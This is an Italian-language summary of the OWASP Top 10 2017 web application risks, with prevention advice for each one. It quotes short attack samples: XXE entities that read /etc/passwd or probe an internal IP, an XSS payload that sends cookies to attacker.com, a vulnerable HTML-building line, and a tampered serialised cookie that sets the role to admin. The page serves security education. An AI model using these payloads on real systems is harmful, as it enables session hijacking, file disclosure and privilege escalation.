twitterlinkedinmail

La classifica delle 10 minacce più pericolose delle Web app stilata da OWASP

Indice argomenti:

A1:2017 – Injection

A2:2017 – Broken Authentication

A3:2017 – Sensitive Data Exposure

A4:2017 – XML External Entities (XXE)

A5:2017 – Broken Access Control

A6:2017 – Security Misconfiguration

A7:2017 – Cross-Site Scripting (XSS)

A8:2017 – Insecure Deserialization

A9:2017 – Using Components with Known Vulnerabilities

A10:2017 – Insufficient Logging & Monitoring

Scarica le slides

02_top-10-owasp
Scarica le slides

Sottoscrivi la Newsletter
per scaricare le slides:

Top 10 Owasp – Cosa è

La Top 10 delle minacce alle Web apps stilata dall’Owasp fornisce tecniche di base per proteggersi dalle minacce ad alto rischio e fornisce indicazioni su come prevenirle.

Uno degli obiettivi principali di OWASP Top 10 è quello di educare sviluppatori, designer, architetti software, manager e organizzazioni sulle conseguenze delle vulnerabilità più comuni e più importanti della sicurezza delle applicazioni web.

Il documento più recente risale al 2017, l’aggiornamento 2020 è in corso di pubblicazione

Top 10 Owasp – Come utilizzarla

  • Non limitarsi alla Top 10. Ci sono centinaia di vulnerabilità che potrebbero influire sulla sicurezza complessiva di un’applicazione web.

  • Cambiamento costante. La Top 10 di OWASP è in continuo cambiamento. Anche senza modificare una singola riga del codice dell’applicazione, potreste diventare vulnerabili quando vengano scoperti nuovi difetti e/o vengono perfezionati i metodi di attacco.

  • Usare i tools automatizzati in maniera consapevole. Le vulnerabilità di sicurezza possono essere piuttosto complesse e nascoste in profondità all’interno del codice. In molti casi, l’approccio più conveniente per individuare ed eliminare le vulnerabilità, consiste nell’affidarsi esperti umani dotati di strumenti avanzati.

  • Affidarsi solo agli strumenti fornisce un falso senso di sicurezza e non è consigliato.

  • La sicurezza come cultura aziendale. La sicurezza deve diventare parte integrante della cultura aziendale ed essere conivisa in tutto il team di sviluppo.

A1:2017 – Injection

Gli injection attacks, come ad es. SQL, NoSQL, OS e LDAP injection, si verificano quando dati non attendibili vengono inviati a un interprete come parte di un comando o di una query.

I dati ostili dell’aggressore possono indurre l’interprete a eseguire comandi involontari o ad accedere ai dati senza un’adeguata autorizzazione.

Come prevenire le injection

Per prevenire le injection richiede di mantenere i dati separati da comandi e query.

Utilizzare un’API sicura, che evita completamente l’uso dell’interprete o fornisce un’interfaccia parametrizzata

Attenzione: anche se parametrizzate, le stored procedure possono comunque introdurre SQL injection se PL/SQL o T-SQL concatena query e dati o esegue dati ostili con EXECUTE IMMEDIATE o exec().

Utilizzare la convalida dell’input lato server. Questo tuttavia non costituisce una difesa completa, poiché molte applicazioni richiedono caratteri speciali, come aree di testo o API per applicazioni mobile.

Per qualsiasi query dinamica, eseguire l’escape dei caratteri speciali utilizzando la sintassi di escape specifica per quell’interprete.

Attenzione: la struttura SQL come i nomi di tabella, i nomi di colonna e così via non possono essere sottoposti a escape, e quindi i nomi di struttura forniti dall’utente sono pericolosi. Questo è un problema comune nel software di scrittura di report.

Utilizzare LIMIT e altri controlli SQL all’interno delle query per ridurre l’impatto sui record in caso di iniezione SQL.

A2:2017 – Broken Authentication

Le funzionalità relative all’autenticazione e alla gestione delle sessioni sono spesso implementate in modo errato, consentendo agli aggressori di compromettere password, chiavi o token di sessione, o di sfruttare altri difetti di implementazione per assumere l’identità di altri utenti temporaneamente o permanentemente.

Ove possibile, implementare l’autenticazione a più fattori per prevenire attacchi automatici, di credential stuffing, forza bruta e riutilizzo delle credenziali rubate.

Non distribuire credenziali predefinite, in particolare per gli utenti amministratori.

Implementare controlli delle password deboli, come il test di password nuove o modificate rispetto a un elenco delle prime 10000 password peggiori.

Allineare i criteri di lunghezza, complessità e rotazione delle password con le Linee guida del NIST 800-63 B sezione 5.1.1

Assicurarsi che la registrazione, il ripristino delle credenziali e le API siano protette contro gli attacchi di enumerazione degli account.

Limitare o ritardare sempre più i tentativi di accesso non riusciti e loggare tutti gli errori.

Utilizzare un gestore di sessioni integrato, sicuro e lato server che genera un nuovo ID di sessione casuale con elevata entropia dopo l’accesso.

Gli ID di sessione non devono essere esposti nelle URL, devonoessere archiviati in modo sicuro e invalidati dopo il logout o inattività dell’utente.

A3:2017 – Sensitive Data Exposure

Molte applicazioni Web non proteggono adeguatamente i dati riservati.

Gli attaccanti possono rubare o modificare tali dati per condurre frodi con carte di credito, furti di identità o altri crimini.

I dati riservati possono essere compromessi in assenza di protezioni adeguate, come la crittografia, da applicare sui dati a “riposo” o in transito.

Come prevenire i data exposure.

Classificare i dati oggetto di trattamento che sono elaborati, archiviati o trasferiti da un’applicazione. Identificare i dati sensibili in base alle leggi sulla privacy, ai requisiti normativi o alle esigenze aziendali.

Non archiviare dati riservati inutilmente. Eliminare il prima possibile i dati quando non più necessari. I dati non conservati non possono essere rubati.

Crittografare tutti i dati in transito con protocolli sicuri come TLS.

Disabilitare la memorizzazione nella cache per le risposte che contengono dati riservati.

A4:2017 – XML External Entities (XXE)

Molti processori XML meno recenti, o configurati in modo inadeguato, valutano i riferimenti a entità esterne all’interno dei documenti XML.

Le entità esterne possono essere utilizzate per divulgare risorse interne utilizzando il gestore dell’URI dei file, condivisioni di file interne, esecuzione di codice in modalità remota e attacchi denial of service.

Scenari di attacco di esempio

Scenario n. 1: l’attaccante tenta di estrarre i dati dal server:

       <!ELEMENT foo ANY >
       <!ENTITY pwd SYSTEM "file:///etc/passwd" >]>

       <foo>&pwd;</foo>

Scenario n. 2: un utente malintenzionato sonda la rete privata del server modificando la riga ENTITY sopra riportata in:

       <!ENTITY lan SYSTEM "https://192.168.1.1/reserved" >]>

Scenario n. 3: un utente malintenzionato tenta un attacco Denial of Service includendo un file potenzialmente infinito:

       <!ENTITY dos SYSTEM "file:///dev/random" >]> 

A5:2017 – Broken Access Control

Le restrizioni su ciò che gli utenti autenticati possono fare spesso non vengono applicate correttamente. Gli aggressori possono sfruttare questi difetti per accedere a funzionalità e/o dati non autorizzati, come accedere agli account di altri utenti, visualizzare file sensibili, modificare i dati di altri utenti, modificare i diritti di accesso, ecc.

Un utente malintenzionato può modificare semplicemente il parametro “account” nel browser per accedere all’id dell’account desiderato:

   http://victim.site/app/accountInfo?account=anyaccount

Come prevenire i Broken Access Control

Il controllo dell’accesso è efficace solo se applicato lato server

Ad eccezione delle risorse pubbliche, negare l’accesso alle risorse come impostazione predefinita.

Implementare i meccanismi di controllo degli accessi una volta e riutilizzali in tutta l’applicazione.

Disabilitare il browsing delle directory del server web e assicurarsi che i metadati dei file e i file di backup non siano accessibili dal web.

Loggare gli errori di accesso

Invalidare i token di accesso sul server dopo il logout.

A6:2017 – Security Misconfiguration

L’errata configurazione della sicurezza è un problema molto comune. Questo è generalmente dovuto a configurazioni predefinite non sicure, configurazioni incomplete o ad hoc

Non solo tutti i sistemi operativi, i framework, le librerie e le applicazioni devono essere configurati in modo sicuro, ma devono essere corretti e aggiornati in modo tempestivo.

Scenari di attacco di esempio

Scenario n. 1: il server delle applicazioni viene fornito con applicazioni di esempio che non vengono rimosse dal server di produzione. Queste applicazioni di esempio presentano difetti di sicurezza noti che gli aggressori utilizzano per compromettere il server. Se una di queste applicazioni è la console di amministrazione e gli account predefiniti non sono stati modificati, l’attaccante accede con le password predefinite e prende il sopravvento.

Scenario n. 2: l’elenco delle directory non è disabilitato sul server. Un utente malintenzionato scopre di poter semplicemente elencare le directory. L’autore dell’attacco trova e scarica le classi Java compilate, e le decompilaper visualizzare il codice. L’autore dell’attacco trova quindi una grave falla nel controllo degli accessi nell’applicazione.

Scenario n. 3: la configurazione del server delle applicazioni mostra messaggi di errore dettagliati. Ciò potenzialmente espone informazioni riservati o versioni dei componenti che sono note per essere vulnerabili.

Come prevenire le Security Misconfiguration

Gli ambienti di sviluppo, controllo qualità e produzione devono essere tutti configurati in modo identico, con credenziali diverse utilizzate in ogni ambiente. Questo processo dovrebbe essere automatizzato per ridurre al minimo lo sforzo richiesto per configurare un nuovo ambiente sicuro.

Rimuovere o non installare funzionalità e framework inutilizzati.

Adottare un’architettura applicativa segmentata che fornisce una separazione efficace e sicura tra componenti.

Automatizzare il processo di verifica dell’efficacia delle configurazioni e delle impostazioni in tutti gli ambienti.

A7:2017 – Cross-Site Scripting (XSS)

Gli attacchi XSS si verificano ogni volta che un’applicazione include dati non attendibili in una nuova pagina Web senza un’adeguata convalida dei dati di input forniti dall’utente utilizzando un’API del browser in grado di creare codice HTML o JavaScript.

XSS consente agli aggressori di eseguire script nel browser della vittima, che possono dirottare le sessioni degli utenti, deturpare i siti Web o reindirizzare l’utente a siti dannosi.

Esempio di attacco XSS

L’applicazione utilizza dati non attendibili nella costruzione del seguente snippet HTML senza convalida o escape:

   (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

L’aggressore modifica il parametro “CC” nel browser:

   '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

Questo attacco fa sì che l’ID della sessione della vittima venga inviato al sito web dell’aggressore, consentendo a quest’ultimo di dirottare la sessione corrente dell’utente.

Come prevenire gli attacchi XSS

La prevenzione di XSS richiede la separazione dei dati non attendibili dal contenuto del browser attivo.

Effetturare l’escape dei dati di richieste HTTP non attendibili in base al contesto nell’output HTML (corpo, attributo, JavaScript, CSS o URL).

L’abilitazione di una politica di sicurezza dei contenuti è efficace se non esistono altre vulnerabilità che consentono di inserire codice dannoso tramite file locali inclusi.

A8:2017 – Insecure Deserialization

La deserializzazione non sicura porta spesso all’esecuzione di codice in modalità remota. Anche se i difetti di deserializzazione non comportano l’esecuzione di codice in modalità remota, possono essere utilizzati tuttavia per eseguire ulteriori forme di attacchi, inclusi attacchi di injection e attacchi di escalation di privilegi.

Esempio di Insecure Deserialization

Un forum utilizza la serializzazione degli oggetti per salvare un “super” cookie, contenente l’ID utente, il ruolo, l’hash della password e altri dati dell’utente:

 {i:0;i:132;i:1;s:7:"Pippo";i:2;s:4:"user";i:3;s:32:"5f4dcc3b5aa765d61d8327deb882cf99";}

Un utente malintenzionato modifica l’oggetto serializzato per concedersi privilegi di amministratore:

 {i:0;i:132;i:1;s:7:"Pippo";i:2;s:4:"admin";i:3;s:32:"5f4dcc3b5aa765d61d8327deb882cf99";}

Prevenire le Insecure Deserialization

L’unico rimedio sicuro è non accettare oggetti serializzati da fonti non attendibili o utilizzare tools di serializzazione che consentono solo tipi di dati primitivi.

In alternativa:

Implementazione di controlli di integrità come firme digitali su qualsiasi oggetto serializzato per impedire la creazione di oggetti ostili o la manomissione dei dati.

Applicazione di rigidi vincoli di tipo durante la deserializzazione prima della creazione di oggetti.

Isolamento ed esecuzione di codice deserializzato in ambienti con privilegi ridotti, quando possibile.

A9:2017 – Using Components with Known Vulnerabilities

I componenti, come le librerie, i framework e altri moduli software, vengono eseguiti con gli stessi privilegi dell’applicazione.

Se un componente vulnerabile viene exploitato, un tale attacco può determinare una compromissione dei dati o del server.

Le applicazioni e le API che utilizzano componenti con vulnerabilità note possono minare le difese delle applicazioni e consentire vari attacchi.

Limitare i rischi dei componenti vulnerabili

Rimuovere le dipendenze inutilizzate, le funzionalità, i componenti, i file e la documentazione non necessari.

Monitorare continuamente fonti come CVE e NVD per le vulnerabilità nei componenti.

Utilizzare componenti solo da fonti ufficiali tramite collegamenti protetti.

Se l’applicazione delle patch non è possibile, valutare la possibilità di distribuire una patch virtuale per monitorare, rilevare o proteggersi dal problema rilevato.

Ogni organizzazione deve garantire che esista un piano continuo per il monitoraggio, la valutazione e l’applicazione di aggiornamenti per l’intera durata dell’applicazione.

A10:2017 – Insufficient Logging & Monitoring

Il logging e il monitoraggio insufficienti, insieme a un’inefficace risposta agli incidenti, consente agli aggressori di attaccare ulteriormente i sistemi, mantenere la persistenza, passare a più sistemi e manomettere, estrarre o distruggere i dati.

La maggior parte degli studi sulle violazioni mostra che il tempo necessario per rilevare una violazione supera i 200 giorni, in genere rilevati da parti esterne anziché da processi interni di monitoraggio.

Misure di prevenzione

Assicurarsi che i log siano generati in un formato che può essere facilmente utilizzato da una soluzione di gestione dei log centralizzata.

Stabilire un monitoraggio e un avviso efficaci in modo che le attività sospette vengano rilevate e risolte in modo tempestivo.

Stabilire o adottare una risposta agli incidenti e un piano di ripristino, come NIST 800-61 rev 2 o successiva.